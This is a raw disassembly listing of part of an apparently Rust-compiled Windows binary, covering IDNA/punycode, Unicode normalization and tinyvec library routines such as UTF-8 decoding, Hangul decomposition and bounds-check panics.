jmp 0x14003f94b
mov r10, qword [rcx + 0x10]
cmp r10, qword [rcx]
jae 0x14003fc67
mov edi, 2
cmp rax, 2
je 0x14003f857
mov rdx, qword [rsp + 0x80]
lea r8, [rdx + rsi]
add r9, qword [rsp + 0x78]
nop word [rax + rax]
mov r11, r10
mov r10, qword [r9]
cmp r10, r11
jae 0x14003f852
lea r11, [r8 + rdi]
inc r11
inc rdi
add r9, 0x10
cmp r11, 2
jne 0x14003f830
mov rdi, rax
mov rdx, qword [rsp + 0x28]
mov rax, rdi
add rax, rsi
jb 0x14003fe36
cmp rax, rdx
ja 0x14003fe27
mov r8d, 1
cmp rdi, 2
jb 0x14003f78c
mov r8, rax
mov rax, rdi
shr rax, 1
mov r14, r8
shl r8, 4
add r8, qword [rsp + 0x98]
mov r9, rcx
nop word [rax + rax]
mov r10, qword [r9]
mov r11d, dword [r9 + 8]
movups xmm0, xmmword [r8]
movups xmmword [r9], xmm0
mov qword [r8], r10
mov dword [r8 + 8], r11d
add r9, 0x10
add r8, 0xfffffffffffffff0
dec rax
jne 0x14003f8a0
mov r8, rdi
mov rdx, qword [rsp + 0x28]
mov rax, r14
jmp 0x14003f78c
mov qword [rsp + 0x90], rax
cmp r13, qword [rsp + 0x88]
jne 0x14003f7f4
mov rdx, r13
shl rdx, 5
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14003fe1b
mov r14, rax
lea rax, [r13*2]
mov qword [rsp + 0x88], rax
mov r8, r13
shl r8, 4
mov rcx, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, r14
mov r10, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x28]
mov rax, r13
shl rax, 4
mov qword [r15 + rax], rdi
mov qword [r15 + rax + 8], rsi
inc r13
mov rax, r13
cmp r13, 2
mov qword [rsp + 0xa0], r15
jae 0x14003f9f6
jmp 0x14003f75d
mov rbp, qword [rsp + 0x48]
mov rdx, rbp
mov r15, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xa8]
add rdi, r15
add r12, r15
sub r13, rdx
mov rcx, r14
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0xb0]
add rax, rsi
mov qword [r12], rax
mov rax, qword [rsp + 0x70]
mov qword [r12 + 8], rax
lea rdx, [rdi + 0x10]
mov rax, qword [rsp + 0x50]
not rax
mov r8, qword [rsp + 0x68]
add r8, rax
shl r8, 4
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rsp + 0x60]
cmp rax, 1
mov r10, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x28]
jbe 0x14003f757
mov r13, rax
lea r14, [rax - 1]
mov rcx, r14
shl rcx, 4
mov rax, qword [r15 + rcx]
mov rcx, qword [r15 + rcx + 8]
add rcx, rax
cmp rcx, rdx
je 0x14003fa70
mov r11, r13
shl r11, 4
mov r8, qword [r11 + r15 - 0x20]
cmp r8, rax
jbe 0x14003fa70
cmp r13, 2
je 0x14003fcbc
lea rsi, [r13 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r15 + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x14003fa85
cmp r13, 3
jbe 0x14003fcd1
add r8, rcx
cmp qword [r11 + r15 - 0x40], r8
jbe 0x14003fa85
jmp 0x14003f75d
cmp r13, 2
je 0x14003fa8a
lea rsi, [r13 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [r15 + rcx]
cmp rcx, rax
jb 0x14003fa8e
lea rsi, [r13 - 2]
cmp r13, rsi
jbe 0x14003fd6d
lea r12, [rsi + 1]
cmp r13, r12
jbe 0x14003fd24
mov qword [rsp + 0x50], rsi
shl rsi, 4
mov rcx, qword [r15 + rsi + 8]
shl r12, 4
mov rax, qword [r15 + r12]
mov rdi, qword [r15 + r12 + 8]
add rdi, rax
mov rbp, rdi
sub rbp, rcx
jb 0x14003fdb6
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r13
cmp rdi, rdx
ja 0x14003fdc5
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xa8], rsi
mov rsi, qword [r15 + rsi]
mov qword [rsp + 0x70], rcx
mov r14, rcx
shl r14, 4
add r14, r10
mov r13, rsi
shl r13, 4
lea r15, [r14 + r13]
shl rdi, 4
mov rbx, rbp
sub rbx, rsi
cmp rbx, rsi
jae 0x14003fbc0
mov r13, rbx
shl r13, 4
mov rbp, qword [rsp + 0x48]
mov rcx, rbp
mov rdx, r15
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r13, rbp
test rsi, rsi
jle 0x14003fc50
test rbx, rbx
jle 0x14003fc50
add rdi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x40]
nop
mov rax, r15
mov rcx, r13
mov rdx, qword [r13 - 0x10]
mov r8, qword [r15 - 0x10]
cmp rdx, r8
mov r15d, 0
sbb r15, r15
cmp rdx, r8
mov r13d, 0
adc r13, 0xffffffffffffffff
shl r15, 4
add r15, rax
shl r13, 4
add r13, rcx
cmp rdx, r8
mov rax, r13
cmovb rax, r15
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
cmp r15, r14
jbe 0x14003fbb3
add rdi, 0xfffffffffffffff0
cmp r13, rbp
ja 0x14003fb60
mov r14, r15
jmp 0x14003f97d
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
mov rdx, r14
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r13, rbx
test rsi, rsi
jle 0x14003fc55
cmp rbp, rsi
mov rbx, qword [rsp + 0x40]
jle 0x14003f978
add rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x48]
mov rdx, rbp
nop word cs:[rax + rax]
mov r8, rdx
mov rcx, qword [r15]
xor edx, edx
xor eax, eax
cmp rcx, qword [r8]
setae dl
setb cl
mov r9, r8
cmovb r9, r15
movups xmm0, xmmword [r9]
movups xmmword [r14], xmm0
add r14, 0x10
shl edx, 4
add rdx, r8
cmp rdx, r13
jae 0x14003f980
mov al, cl
shl eax, 4
add r15, rax
cmp r15, rdi
jb 0x14003fc00
jmp 0x14003f980
mov r14, r15
jmp 0x14003fc5a
mov rbp, qword [rsp + 0x48]
mov rdx, rbp
mov rbx, qword [rsp + 0x40]
jmp 0x14003f980
mov r8d, 2
cmp rax, 2
je 0x14003f788
mov rdx, qword [rsp + 0x80]
add rdx, rsi
add r9, qword [rsp + 0x78]
nop word [rax + rax]
mov r11, r10
mov r10, qword [r9]
cmp r10, r11
jb 0x14003fcc7
lea r11, [rdx + r8]
inc r11
inc r8
add r9, 0x10
cmp r11, 2
jne 0x14003fc90
mov r8, rax
mov rdx, qword [rsp + 0x28]
jmp 0x14003f788
mov r13d, 2
jmp 0x14003f75d
mov rdx, qword [rsp + 0x28]
jmp 0x14003f788
mov r13d, 3
jmp 0x14003f75d
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
call rsi
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbp
call rsi
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x58]
jmp 0x14003f60c
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 1
lea rax, [0x14016f768]
mov qword [rsp + 0xc8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
lea rdx, [0x1401485a8]
lea rcx, [rsp + 0xb8]
call fcn.140104620
lea rax, str.Index_out_of_bounds
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 1
lea rax, [0x14016f768]
mov qword [rsp + 0xc8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
lea rdx, [0x140148590]
lea rcx, [rsp + 0xb8]
call fcn.140104620
lea r8, [0x1401485c0]
mov rdx, rdi
call fcn.1401048e0
lea r8, [0x1401485c0]
mov rcx, rdi
call fcn.1401046e0
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, [0x140148650]
mov edx, 0x2c
call fcn.1401046f0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, r13
mov r9, rsi
call fcn.140104b90
lea r8, [0x140148668]
mov rcx, rsi
mov rdx, rdi
call fcn.1401048e0
lea rcx, [0x140148608]
call fcn.140104a40
lea r8, [0x140148578]
mov rcx, rax
call fcn.1401046e0
lea r8, [0x140148578]
mov rcx, rsi
mov rdx, rax
call fcn.1401048e0
lea rcx, [0x1401485d8]
call fcn.140104a40
lea rcx, [0x1401485f0]
call fcn.140104a40
int3
cmp dword [rsi + 0x60], 0
je 0x140040620
test rdx, rdx
je 0x1400406d5
mov rcx, qword [rsi + 0x70]
mov r8, qword [rsi + 0x78]
cmp rdx, 1
jne 0x140040d7a
cmp rax, r8
jb 0x140040db3
mov qword [rsi + 0x78], 0
jmp 0x14004065c
test rdx, rdx
je 0x1400406d5
movzx r8d, word [rsi + 0x64]
movzx ecx, r8w
cmp rdx, 1
jne 0x140040d89
cmp r8w, 4
ja 0x140040e65
clc
add al, 0xf
xchg dword [rsi], ebx
or byte [rax], al
add byte [rax + 0x39], cl
cmp rax, rcx
jb 0x140040dae
enter 0xffffffffffff820f, 0x5e
invalid
test r8w, r8w
test eax, eax
je 0x14004065c
mov word [rsi + 0x64], 0
mov qword [rsi], 0
jmp 0x1400406d5
movzx ebp, r15w
imul r12d, ebp, 0x6f75
shr r12d, 0x18
lea edx, [r12 + 0x1100]
mov rcx, rbx
call fcn.140041870
imul eax, r12d, 0x24c
sub r15d, eax
movzx eax, r15w
imul edx, eax, 0x925
shr edx, 0x10
add edx, 0x1161
mov rcx, rbx
call fcn.140041870
mov eax, ebp
shr eax, 2
imul eax, eax, 0x4925
shr eax, 0x11
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
add ecx, eax
sub bp, cx
je 0x1400406d5
add ebp, 0x11a7
movzx edx, bp
mov rcx, rbx
call fcn.140041870
mov r9, qword [rsi + 0x50]
test r9, r9
jne 0x140040840
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x140040a1a
cmp rcx, qword [rsi + 0x40]
je 0x140040a1a
lea rax, [rcx + 1]
mov qword [rsi + 0x38], rax
movzx r8d, byte [rcx]
movzx edx, r8b
test dl, dl
jns 0x140040780
mov eax, edx
and eax, 0x1f
lea r9, [rcx + 2]
mov qword [rsi + 0x38], r9
movzx r10d, byte [rcx + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x140040863
lea rdx, [rcx + 3]
mov qword [rsi + 0x38], rdx
movzx r9d, byte [rcx + 2]
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
cmp r8b, 0xf0
jb 0x14004095a
lea rdx, [rcx + 4]
mov qword [rsi + 0x38], rdx
movzx edx, byte [rcx + 3]
and eax, 7
shl eax, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, eax
cmp edx, 0x110000
je 0x140040a1a
nop dword [rax + rax]
cmp byte [rsi + 0x58], 0
je 0x140040880
cmp edx, 0x80
jb 0x1400406cd
lea r15d, [rdx - 0xac00]
cmp r15d, 0x2ba4
jb 0x140040665
imul ecx, edx, 0x9e3779b9
imul eax, edx, 0x31415926
xor ecx, eax
imul r8, rcx, 0xee4
shr r8, 0x20
lea r9, [0x14015c198]
movzx r8d, word [r9 + r8*2]
add r8d, edx
imul r8d, r8d, 0x9e3779b9
xor r8d, eax
imul r8, r8, 0xee4
shr r8, 0x20
lea r9, [0x14015df60]
mov r15, qword [r9 + r8*8]
cmp edx, r15d
jne 0x140040972
mov rax, r15
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0x1668
jae 0x140040e40
shr r15, 0x30
mov edx, 0x1667
sub rdx, rcx
cmp r15, rdx
ja 0x140040e31
lea rax, [0x140165680]
lea r12, [rax + rcx*4]
test r15, r15
jne 0x1400409f2
jmp 0x1400406d5
mov eax, dword [rbx]
mov rcx, qword [r14]
test eax, eax
je 0x140040a8b
mov r8, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
cmp rcx, rdx
jb 0x140040aa5
jmp 0x140040d6e
shl eax, 6
or eax, r10d
mov edx, eax
cmp byte [rsi + 0x58], 0
jne 0x14004078a
nop word cs:[rax + rax]
cmp edx, 0x80
jb 0x1400406cd
lea r15d, [rdx - 0xac00]
cmp r15d, 0x2ba4
jb 0x140040665
imul eax, edx, 0x9e3779b9
imul ecx, edx, 0x31415926
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea r8, [0x140153b38]
movzx eax, word [r8 + rax*2]
add eax, edx
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea rcx, [0x140154b54]
mov r15, qword [rcx + rax*8]
cmp edx, r15d
jne 0x1400406cd
mov rax, r15
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0xd4f
jae 0x140040e20
shr r15, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp r15, rdx
ja 0x140040e11
test r15, r15
je 0x1400406d5
lea rax, [0x140158bbc]
lea r12, [rax + rcx*4]
shl r15d, 2
xor ebp, ebp
nop word cs:[rax + rax]
mov edx, dword [r12 + rbp]
mov rcx, rbx
call fcn.140041870
add rbp, 4
cmp r15, rbp
jne 0x140040940
jmp 0x1400406d5
shl eax, 0xc
or r9d, eax
mov edx, r9d
cmp byte [rsi + 0x58], 0
jne 0x14004078a
jmp 0x140040880
imul rcx, rcx, 0x80d
shr rcx, 0x20
lea r8, [0x140153b38]
movzx ecx, word [r8 + rcx*2]
add ecx, edx
imul ecx, ecx, 0x9e3779b9
xor ecx, eax
imul rax, rcx, 0x80d
shr rax, 0x20
lea rcx, [0x140154b54]
mov r15, qword [rcx + rax*8]
cmp edx, r15d
jne 0x1400406cd
mov rax, r15
shr rax, 0x20
and byte [rdi], cl
mov bh, 0xc8
and byte [rdi], cl
mov bh, 0xc8
cmp rcx, 0xd4f
jae 0x140040e20
shr r15, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp r15, rdx
ja 0x140040e11
lea rax, [0x140158bbc]
lea r12, [rax + rcx*4]
test r15, r15
je 0x1400406d5
shl r15d, 2
xor ebp, ebp
nop dword [rax + rax]
mov edx, dword [r12 + rbp]
mov rcx, rbx
call fcn.140041870
add rbp, 4
cmp r15, rbp
jne 0x140040a00
jmp 0x1400406d5
cmp dword [rbx], 0
je 0x140040a51
mov rdx, qword [rsi + 0x28]
test rdx, rdx
je 0x140040cf0
mov rcx, qword [rsi + 0x20]
call fcn.140041070
mov eax, dword [rsi + 0x10]
test eax, eax
je 0x140040a77
mov r9, qword [rsi + 0x28]
mov qword [rsi + 0x50], r9
mov rcx, qword [r14]
test eax, eax
jne 0x14004084d
jmp 0x140040a8b
movzx edx, word [rsi + 0x14]
test rdx, rdx
je 0x140040cf0
cmp dx, 5
jae 0x140040e51
mov rcx, r13
call fcn.140041070
mov eax, dword [rsi + 0x10]
test eax, eax
jne 0x140040a3c
movzx r9d, word [rsi + 0x14]
mov qword [rsi + 0x50], r9
mov rcx, qword [r14]
test eax, eax
jne 0x14004084d
movzx edx, word [rsi + 0x14]
cmp rdx, 5
jae 0x140040dfd
mov r8, r13
cmp rcx, rdx
jae 0x140040d6e
mov ebp, dword [r8 + rcx*8 + 4]
inc rcx
cmp rcx, r9
jne 0x140040b44
test eax, eax
je 0x140040b49
mov r8, qword [rsi + 0x28]
sub r8, r9
je 0x140040b57
xor ecx, ecx
jmp 0x140040aef
mov edx, dword [r9 + rax*8 + 4]
movzx eax, byte [r9 + rax*8]
mov byte [r9 + rcx*8], al
mov dword [r9 + rcx*8 + 4], edx
lea rax, [rcx + 1]
mov rcx, rax
cmp r8, rax
je 0x140040b67
mov rax, qword [rsi + 0x50]
add rax, rcx
cmp dword [rsi + 0x10], 0
je 0x140040b20
mov rdx, qword [rsi + 0x28]
cmp rax, rdx
jae 0x140040d4b
mov r9, qword [rsi + 0x20]
cmp rcx, rdx
jb 0x140040ad0
jmp 0x140040d5a
movzx edx, word [rsi + 0x14]
cmp rdx, 5
jae 0x140040dfd
cmp rax, rdx
jae 0x140040d4b
mov r9, r13
cmp rcx, rdx
jb 0x140040ad0
jmp 0x140040d5a
mov qword [r14], rcx
jmp 0x140040b7f
movzx r8d, word [rsi + 0x14]
sub r8, r9
jne 0x140040acb
test eax, eax
je 0x140040b6d
cmp qword [rsi + 0x28], r8
jb 0x140040b7b
mov qword [rsi + 0x28], r8
jmp 0x140040b7b
mov eax, dword [rbx]
test eax, eax
jne 0x140040b5b
movzx eax, word [rsi + 0x14]
cmp r8, rax
jae 0x140040b7b
mov word [rsi + 0x14], r8w
movups xmmword [r14], xmm6
imul eax, ebp, 0x9e3779b9
imul ecx, ebp, 0x31415926
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rdx, [0x14015015c]
movzx eax, word [rdx + rax*2]
add eax, ebp
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
mov r12d, dword [rdi + rax*4]
mov eax, r12d
shr eax, 8
cmp eax, ebp
mov eax, 0
cmovne r12d, eax
mov r15d, dword [rsi + 0x80]
cmp r15d, 0x110000
jne 0x140040bf1
test r12b, r12b
jne 0x140040d22
mov dword [rsi + 0x80], ebp
jmp 0x1400406d5
cmp byte [rsi + 0x84], 0
je 0x140040c1f
cmp byte [rsi + 0x85], r12b
jae 0x140040c3a
mov ecx, r15d
mov edx, ebp
call fcn.1400f5bb0
cmp eax, 0x110000
je 0x140040c43
mov dword [rsi + 0x80], eax
jmp 0x1400406d5
mov ecx, r15d
mov edx, ebp
call fcn.1400f5bb0
cmp eax, 0x110000
jne 0x140040c9c
test r12b, r12b
jne 0x140040c43
jmp 0x140040d66
test r12b, r12b
je 0x140040d2a
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0
je 0x140040c75
mov rax, qword [rsi + 0x78]
cmp rax, qword [rsi + 0x68]
jne 0x140040c65
mov rcx, qword [rsp + 0x28]
call fcn.1400f6b10
mov rax, qword [rsi + 0x78]
mov rcx, qword [rsi + 0x70]
mov dword [rcx + rax*4], ebp
inc rax
mov qword [rsi + 0x78], rax
jmp 0x140040c89
movzx eax, word [rsi + 0x64]
cmp rax, 3
ja 0x140040ca7
mov dword [rsi + rax*4 + 0x68], ebp
inc eax
mov word [rsi + 0x64], ax
mov byte [rsi + 0x84], 1
mov byte [rsi + 0x85], r12b
jmp 0x1400406d5
mov dword [rsi + 0x80], eax
jmp 0x1400406d5
lea rdx, [rsi + 0x64]
lea rcx, [rsp + 0x30]
mov r8d, ebp
call fcn.140106740
cmp dword [rsi + 0x60], 0
je 0x140040cd8
cmp qword [rsi + 0x68], 0
je 0x140040cd8
mov r8, qword [rsi + 0x70]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
mov rax, qword [rsp + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
jmp 0x140040c89
mov qword [rsi], 2
mov qword [rsi + 8], 0
mov r15d, dword [rsi + 0x80]
mov edx, 2
mov eax, 0
cmp r15d, 0x110000
je 0x1400405e7
jmp 0x140040dda
mov r15d, ebp
jmp 0x140040de4
mov dword [rsi + 0x80], ebp
mov byte [rsi + 0x84], 0
mov qword [rsi], 1
mov qword [rsi + 8], 0
jmp 0x140040de4
lea r8, [0x140129168]
mov rcx, rax
call fcn.140104670
lea r8, [0x140129180]
call fcn.140104670
mov dword [rsi + 0x80], ebp
jmp 0x140040de4
lea r8, [0x140129150]
call fcn.140104670
cmp rax, r8
jb 0x140040d9e
mov qword [rsi + 0x78], 0
jmp 0x140040dd3
cmp r8w, 5
jae 0x140040e65
cmp rax, rcx
mov rcx, qword [rsp + 0x28]
jae 0x140040dc7
mov r15d, dword [rcx + rax*4]
inc rax
mov qword [rsi], 2
jmp 0x140040dc1
mov rcx, qword [rsp + 0x28]
mov r15d, dword [rcx + rax*4]
inc rax
mov qword [rsi], 1
mov qword [rsi + 8], rax
jmp 0x140040de4
test r8w, r8w
je 0x140040dd3
mov word [rsi + 0x64], 0
mov r15d, dword [rsi + 0x80]
mov dword [rsi + 0x80], 0x110000
mov eax, r15d
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov rcx, rdx
mov edx, 4
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, r15
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0xd4e
call fcn.140104660
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, r15
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0x1667
call fcn.140104660
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov rcx, rdx
mov edx, 4
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
call fcn.1401046e0
int3
mov ebx, dword [rsp + 0xe0]
mov r14, qword [rsp + 0xf0]
test ebx, ebx
je 0x140041f70
test rdx, rdx
je 0x140042027
mov rcx, qword [rsp + 0xf8]
cmp rdx, 1
jne 0x140042a93
cmp rax, rcx
jb 0x140042ad3
mov qword [rsp + 0xf8], 0
jmp 0x140041fb4
test rdx, rdx
je 0x140042027
movzx r8d, word [rsp + 0xe4]
movzx ecx, r8w
add byte [rcx + 0xf], al
mov bh, 0xc8
cmp rdx, 1
jne 0x140042a9d
cmp r8w, 4
ja 0x140044ecb
cmp rax, rcx
jb 0x140042acb
test r8w, r8w
je 0x140041fb4
mov word [rsp + 0xe4], 0
mov qword [rsp + 0x60], 0
jmp 0x140042027
movzx ebx, si
imul edi, ebx, 0x6f75
shr edi, 0x18
lea edx, [rdi + 0x1100]
mov rcx, r12
call fcn.140040360
imul eax, edi, 0x24c
sub esi, eax
movzx eax, si
imul edx, eax, 0x925
shr edx, 0x10
add edx, 0x1161
mov rcx, r12
call fcn.140040360
mov eax, ebx
shr eax, 2
imul eax, eax, 0x4925
shr eax, 0x11
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
add ecx, eax
sub bx, cx
je 0x140042027
add ebx, 0x11a7
movzx edx, bx
mov rcx, r12
call fcn.140040360
mov r9, qword [rsp + 0xd0]
test r9, r9
jne 0x1400423a0
movzx r10d, byte [rsp + 0xc0]
cmp r10b, 2
je 0x140042831
mov r8, qword [rsp + 0xb0]
mov r14, qword [rsp + 0x98]
mov r11, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
movzx ebp, byte [rsp + 0xc1]
mov rbx, qword [rsp + 0xb8]
test r8, r8
je 0x14004212b
cmp r8, rbx
je 0x14004211f
lea rcx, [r8 + 1]
mov qword [rsp + 0xb0], rcx
movzx esi, byte [r8]
movzx edx, sil
test dl, dl
jns 0x14004269a
mov ecx, edx
and ecx, 0x1f
lea r9, [r8 + 2]
mov qword [rsp + 0xb0], r9
movzx edi, byte [r8 + 1]
and edi, 0x3f
cmp dl, 0xdf
jbe 0x140042989
lea rdx, [r8 + 3]
mov qword [rsp + 0xb0], rdx
movzx r9d, byte [r8 + 2]
shl edi, 6
and r9d, 0x3f
or r9d, edi
cmp sil, 0xf0
jb 0x140042995
lea rdx, [r8 + 4]
mov qword [rsp + 0xb0], rdx
movzx edx, byte [r8 + 3]
and ecx, 7
shl ecx, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, ecx
cmp edx, 0x110000
jne case.0x1400422f8.0
mov qword [rsp + 0xb0], 0
cmp r14, r11
je 0x140042829
lea rcx, [r14 + 1]
mov qword [rsp + 0x98], rcx
movzx r8d, byte [r14]
movzx edx, r8b
test dl, dl
js 0x140042160
mov r14, rcx
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jae 0x140042210
jmp 0x14004269a
add eax, 0xd1890000
mov ecx, edx
and ecx, 0x1f
lea rsi, [r14 + 2]
mov qword [rsp + 0x98], rsi
movzx r9d, byte [r14 + 1]
and r9d, 0x3f
cmp dl, 0xdf
jbe 0x1400421d7
lea rsi, [r14 + 3]
mov qword [rsp + 0x98], rsi
movzx edx, byte [r14 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400421ef
lea r8, [r14 + 4]
mov qword [rsp + 0x98], r8
movzx r9d, byte [r14 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
or r9d, ecx
mov r14, r8
mov edx, r9d
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jae 0x140042210
jmp 0x14004269a
shl ecx, 6
or ecx, r9d
mov r14, rsi
mov edx, ecx
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jae 0x140042210
jmp 0x14004269a
shl ecx, 0xc
or edx, ecx
mov r14, rsi
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jb 0x14004269a
nop word cs:[rax + rax]
cmp edx, 0x110000
je 0x140042829
lea ecx, [rdx - 0x61]
cmp ecx, 0x1a
jb 0x14004269a
lea ecx, [rdx - 0x30]
cmp ecx, 0xa
jb 0x14004269a
mov r8d, 0x75a
xor ecx, ecx
mov r9d, 0x75a
nop word cs:[rax + rax]
shr r8, 1
add r8, rcx
mov esi, dword [r15 + r8*8]
cmp esi, edx
je 0x140042287
lea rdi, [r8 + 1]
cmp esi, edx
cmova r9, r8
cmovb rcx, rdi
mov r8, r9
sub r8, rcx
ja 0x140042250
dec rcx
mov r8, rcx
cmp rcx, 0x759
ja 0x140042d4e
movzx r9d, word [r15 + r8*8 + 4]
mov ecx, r9d
and ecx, 0x7fff
test r9w, r9w
js 0x1400422c0
movzx r8d, word [r15 + r8*8]
mov r9d, edx
sub r9w, r8w
movzx ecx, cx
add ecx, r9d
movzx ecx, cx
cmp ecx, 0x1f73
jb 0x1400422d1
jmp 0x140042d66
movzx r8d, cx
cmp r8d, 0x1f73
jae 0x140042d77
movzx r9d, byte [r13 + rcx*4]
mov r8d, 0
cmp r9d, 1
je case.default.0x1400422f8
mov r8d, r9d
lea r9, [0x140174020]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov eax, dword [rsp + 0x70]
lea rsi, [rsp + 0x78]
mov rcx, qword [rsp + 0xc8]
test eax, eax
je 0x1400423cf
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
cmp rcx, rdx
jb 0x1400423ea
jmp 0x140042d88
movzx edx, word [rsp + 0x74]
cmp rdx, 5
jae 0x140044e13
mov r8, rsi
cmp rcx, rdx
jae 0x140042d88
mov r14d, dword [r8 + rcx*8 + 4]
inc rcx
cmp rcx, r9
jne 0x1400424b0
test eax, eax
je 0x1400424ba
mov r8, qword [rsp + 0x88]
sub r8, r9
je 0x1400424c9
xor ecx, ecx
jmp 0x140042443
mov edx, dword [r9 + rax*8 + 4]
movzx eax, byte [r9 + rax*8]
mov byte [r9 + rcx*8], al
mov dword [r9 + rcx*8 + 4], edx
lea rax, [rcx + 1]
mov rcx, rax
cmp r8, rax
je 0x1400424e1
mov rax, qword [rsp + 0xd0]
add rax, rcx
cmp dword [rsp + 0x70], 0
je 0x140042480
mov rdx, qword [rsp + 0x88]
cmp rax, rdx
jae 0x140042cb3
mov r9, qword [rsp + 0x80]
cmp rcx, rdx
jb 0x140042420
jmp 0x140042cc2
movzx edx, word [rsp + 0x74]
cmp rdx, 5
jae 0x140044e13
cmp rax, rdx
jae 0x140042cb3
mov r9, rsi
cmp rcx, rdx
jb 0x140042420
jmp 0x140042cc2
mov qword [rsp + 0xc8], rcx
jmp 0x14004250b
movzx r8d, word [rsp + 0x74]
sub r8, r9
jne 0x140042414
invalid
invalid
invalid
invalid
test eax, eax
je 0x1400424e9
cmp qword [rsp + 0x88], r8
jb 0x140042500
mov qword [rsp + 0x88], r8
jmp 0x140042500
mov eax, dword [rsp + 0x70]
test eax, eax
jne 0x1400424cd
movzx eax, word [rsp + 0x74]
cmp r8, rax
jae 0x140042500
mov word [rsp + 0x74], r8w
nop dword [rax]
lea rax, [rsp + 0xc8]
movups xmmword [rax], xmm6
imul eax, r14d, 0x9e3779b9
imul ecx, r14d, 0x31415926
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rdx, [0x14015015c]
movzx eax, word [rdx + rax*2]
add eax, r14d
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rcx, [0x140150890]
mov ebx, dword [rcx + rax*4]
mov eax, ebx
shr eax, 8
cmp eax, r14d
mov eax, 0
cmovne ebx, eax
mov ebp, dword [rsp + 0x100]
cmp ebp, 0x110000
